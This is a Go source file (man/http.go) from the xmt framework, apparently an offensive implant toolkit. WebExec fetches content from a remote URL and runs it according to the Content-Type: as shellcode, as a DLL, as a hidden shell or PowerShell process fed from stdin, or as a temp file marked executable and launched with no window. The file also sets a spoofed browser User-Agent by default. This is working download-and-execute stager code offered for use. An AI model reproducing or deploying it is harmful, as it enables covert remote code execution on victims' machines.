github.com/iDigitalFlame/xmt@v0.5.4/man/http.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package man 18 19 import ( 20 "bytes" 21 "context" 22 "net/http" 23 "net/url" 24 "os" 25 "strings" 26 "sync" 27 28 "github.com/iDigitalFlame/xmt/cmd" 29 "github.com/iDigitalFlame/xmt/com" 30 "github.com/iDigitalFlame/xmt/data" 31 "github.com/iDigitalFlame/xmt/device" 32 "github.com/iDigitalFlame/xmt/util/bugtrack" 33 "github.com/iDigitalFlame/xmt/util/text" 34 "github.com/iDigitalFlame/xmt/util/xerr" 35 ) 36 37 var client struct { 38 _ [0]func() 39 v *http.Client 40 sync.Once 41 } 42 43 func rawParse(r string) (*url.URL, error) { 44 var ( 45 i = strings.IndexRune(r, '/') 46 u *url.URL 47 err error 48 ) 49 if i == 0 && len(r) > 2 && r[1] != '/' { 50 u, err = url.Parse("/" + r) 51 } else if i == -1 || i+1 >= len(r) || r[i+1] != '/' { 52 u, err = url.Parse("//" + r) 53 } else { 54 u, err = url.Parse(r) 55 } 56 if err != nil { 57 return nil, err 58 } 59 if len(u.Host) == 0 { 60 return nil, xerr.Sub("empty host field", 0x65) 61 } 62 if u.Host[len(u.Host)-1] == ':' { 63 return nil, xerr.Sub("invalid port specified", 0x66) 64 } 65 if len(u.Scheme) == 0 { 66 u.Scheme = com.NameHTTP 67 } 68 return u, nil 69 } 70 71 // ParseDownloadHeader converts HTTP headers into index-based output types. 72 // 73 // Resulting output types: 74 // - 0: None found. 75 // - 1: DLL. 76 // - 2: Assembly Code (ASM). 77 // - 3: Shell Script. 78 // - 4: PowerShell Script. 79 // 80 // Ignores '*/' prefix. 81 // 82 // # Examples 83 // 84 // DLL: 85 // - '/d' 86 // - '/dll' 87 // - '/dontcare' 88 // - '/dynamic' 89 // - '/dynamiclinklib' 90 // 91 // Assembly Code: 92 // - '/a' 93 // - '/b' 94 // - '/asm' 95 // - '/bin' 96 // - '/assembly' 97 // - '/binary' 98 // - '/code' 99 // - '/shellcode' 100 // - '/superscript' 101 // - '/shutupbro' 102 // 103 // Shell Script: 104 // - '/x' 105 // - '/s' 106 // - '/cm' 107 // - '/cmd' 108 // - '/xgongiveittoya' 109 // - '/xecute' 110 // - '/xe' 111 // - '/com' 112 // - '/command' 113 // - '/shell' 114 // - '/sh' 115 // - '/script' 116 // 117 // PowerShell: 118 // - '/p' 119 // - '/pwsh' 120 // - '/powershell' 121 // - '/power' 122 // - '/powerwash' 123 // - '/powerwashing' 124 // - '/powerwashingsimulator' 125 // - '/pwn' 126 // - '/pwnme' 127 func ParseDownloadHeader(h http.Header) uint8 { 128 if len(h) == 0 { 129 return 0 130 } 131 var c string 132 for k, v := range h { 133 if len(k) < 12 { 134 continue 135 } 136 if k[0] != 'C' && k[0] != 'c' && k[8] != '-' && k[9] != 'T' && k[9] != 't' { 137 continue 138 } 139 if len(v) == 0 || len(v[0]) == 0 { 140 continue 141 } 142 c = v[0] 143 break 144 } 145 if len(c) == 0 { 146 return 0 147 } 148 x := strings.IndexByte(c, '/') 149 if x < 1 || x >= len(c) { 150 return 0 151 } 152 x++ 153 switch n := len(c) - x; { 154 case c[x] == 'd': // Covers all '/d*' for DLL. 155 if cmd.LoaderEnabled { // Return ASM type instead when we can convert it. 156 return 2 157 } 158 return 1 159 case c[x] == 'p': // Covers all '/p*' for PowerShell. 160 return 4 161 case c[x] == 'x': // Covers all '/x*' for Shell Execute. 162 return 3 163 case c[x] == 'a' || c[x] == 'b': // Covers '/a*' and '/b*' for ASM. 164 return 2 165 case n > 1 && c[x] == 'c' && c[x+1] == 'm': // Covers '/cm*' for Script. 166 fallthrough 167 case n > 2 && c[x] == 'c' && c[x+1] == 'o' && c[x+2] == 'm': // Covers '/com*' for Script. 168 return 3 169 case c[x] == 'c': // Covers '/c*' for ASM. 170 fallthrough 171 case n > 6 && c[x] == 's' && c[x+1] != 'c': // Covers '/shellcode' for ASM. 172 return 2 173 case c[x] == 's': // Covers '/s*' for Script. 174 return 3 175 } 176 return 0 177 } 178 179 // WebRequest is a utility function that allows for piggybacking off the Sentinel 180 // downloader, which is only initialized once used. 181 // 182 // The first two strings are the URL and the User-Agent (which can be empty). 183 // 184 // User-Agent strings can be supplied that use the text.Matcher format for dynamic 185 // values. If empty, a default Firefox string will be used instead. 186 func WebRequest(x context.Context, url, agent string) (*http.Response, error) { 187 r := newRequest(x) 188 if client.Do(initDefaultClient); len(agent) > 0 { 189 r.Header.Set(userAgent, text.Matcher(agent).String()) 190 } else { 191 r.Header.Set(userAgent, userValue) 192 } 193 var err error 194 if r.URL, err = rawParse(url); err != nil { 195 return nil, err 196 } 197 return client.v.Do(r) 198 } 199 200 // WebExec will attempt to download the URL target at 'url' and parse the 201 // data into a Runnable interface. 202 // 203 // The supplied 'agent' string (if non-empty) will specify the User-Agent header 204 // string to be used. 205 // 206 // The passed Writer will be passed as Stdout/Stderr to certain processes if 207 // the Writer "w" is not nil. 208 // 209 // The returned string is the full expanded path if a temporary file is created. 210 // It's the callers responsibility to delete this file when not needed. 211 // 212 // This function uses the 'man.ParseDownloadHeader' function to assist with 213 // determining the executable type. 214 func WebExec(x context.Context, w data.Writer, url, agent string) (cmd.Runnable, string, error) { 215 o, err := WebRequest(x, url, agent) 216 if err != nil { 217 return nil, "", err 218 } 219 b, err := data.ReadAll(o.Body) 220 if o.Body.Close(); err != nil { 221 return nil, "", err 222 } 223 if bugtrack.Enabled { 224 bugtrack.Track("man.WebExec(): Download url=%s, agent=%s", agent, url) 225 } 226 var d bool 227 switch ParseDownloadHeader(o.Header) { 228 case 1: 229 d = true 230 case 2: 231 if bugtrack.Enabled { 232 bugtrack.Track("man.WebExec(): Download is shellcode url=%s", url) 233 } 234 return cmd.NewAsmContext(x, cmd.DLLToASM("", b)), "", nil 235 case 3: 236 c := cmd.NewProcessContext(x, device.Shell) 237 c.SetNoWindow(true) 238 if c.SetWindowDisplay(0); w != nil { 239 c.Stdout, c.Stderr = w, w 240 } 241 c.Stdin = bytes.NewReader(b) 242 return c, "", nil 243 case 4: 244 c := cmd.NewProcessContext(x, device.PowerShell) 245 c.SetNoWindow(true) 246 if c.SetWindowDisplay(0); w != nil { 247 c.Stdout, c.Stderr = w, w 248 } 249 c.Stdin = bytes.NewReader(b) 250 return c, "", nil 251 } 252 var n string 253 if d { 254 n = execB 255 } else if device.OS == device.Windows { 256 n = execC 257 } else { 258 n = execA 259 } 260 f, err := data.CreateTemp("", n) 261 if err != nil { 262 return nil, "", err 263 } 264 n = f.Name() 265 _, err = f.Write(b) 266 if f.Close(); err != nil { 267 return nil, n, err 268 } 269 if b = nil; bugtrack.Enabled { 270 bugtrack.Track("man.WebExec(): Download to temp file url=%s, n=%s", url, n) 271 } 272 if os.Chmod(n, 0755); d { 273 return cmd.NewDLLContext(x, n), n, nil 274 } 275 c := cmd.NewProcessContext(x, n) 276 c.SetNoWindow(true) 277 if c.SetWindowDisplay(0); w != nil { 278 c.Stdout, c.Stderr = w, w 279 } 280 return c, n, nil 281 }